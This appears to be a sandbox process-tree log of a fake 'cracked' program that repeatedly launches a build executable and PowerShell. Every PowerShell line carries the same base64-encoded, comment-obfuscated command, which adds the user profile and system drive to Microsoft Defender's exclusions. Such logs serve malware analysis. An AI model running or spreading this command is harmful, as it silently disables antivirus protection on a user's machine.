C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="47⤵PID:6216
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"47⤵PID:6240
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"47⤵PID:5292
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="48⤵PID:6652
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"48⤵PID:6668
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"48⤵PID:6868
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="49⤵PID:6816
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"49⤵PID:5396
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"49⤵PID:4600
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="50⤵PID:6420
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"50⤵PID:6384
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"50⤵PID:6068
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="51⤵PID:4048
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"51⤵PID:6884
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"51⤵PID:5424
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="52⤵PID:6888
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"52⤵PID:2636
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"52⤵PID:6868
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="53⤵PID:6380
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"53⤵PID:6616
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"53⤵PID:928
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="54⤵PID:1924
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"54⤵PID:6152
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"54⤵PID:1440
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="55⤵PID:6100
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"55⤵PID:2484
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"55⤵PID:3856
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="56⤵PID:2812
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"56⤵PID:6700
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"56⤵PID:7084
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="57⤵PID:2740
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"57⤵PID:5268
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"57⤵PID:1880
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="58⤵PID:1684
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"58⤵PID:5184
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"58⤵PID:5444
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="59⤵PID:5312
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"59⤵PID:5408
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"59⤵PID:7108
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="60⤵PID:4184
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"60⤵PID:2280
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"60⤵PID:5328
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="61⤵PID:784
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"61⤵PID:3172
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"61⤵PID:920
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="62⤵PID:5416
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"62⤵PID:2832
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"62⤵PID:2440
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="63⤵PID:1080
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"63⤵PID:3012
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"63⤵PID:420
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="64⤵PID:704
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"64⤵PID:5092
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"64⤵PID:920
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="65⤵PID:3852
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"65⤵PID:1740
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"65⤵PID:360
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="66⤵PID:6488
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"66⤵PID:6492
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"66⤵PID:7056
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="67⤵PID:6496
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"67⤵PID:6544
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"67⤵PID:2192
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="68⤵PID:7012
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"68⤵PID:7104
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"68⤵PID:4072
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="69⤵PID:7024
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"69⤵PID:6376
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"69⤵PID:6776
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="70⤵PID:4720
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"70⤵PID:6316
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"70⤵PID:6760
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="71⤵PID:6428
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"71⤵PID:2992
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"71⤵PID:6960
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="72⤵PID:2896
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"72⤵PID:6652
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"72⤵PID:6468
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="73⤵PID:5644
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"73⤵PID:1564
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"73⤵PID:7112
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="74⤵PID:6852
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"74⤵PID:4888
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"74⤵PID:5640
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="75⤵PID:6888
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"75⤵PID:7124
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"75⤵PID:1712
-
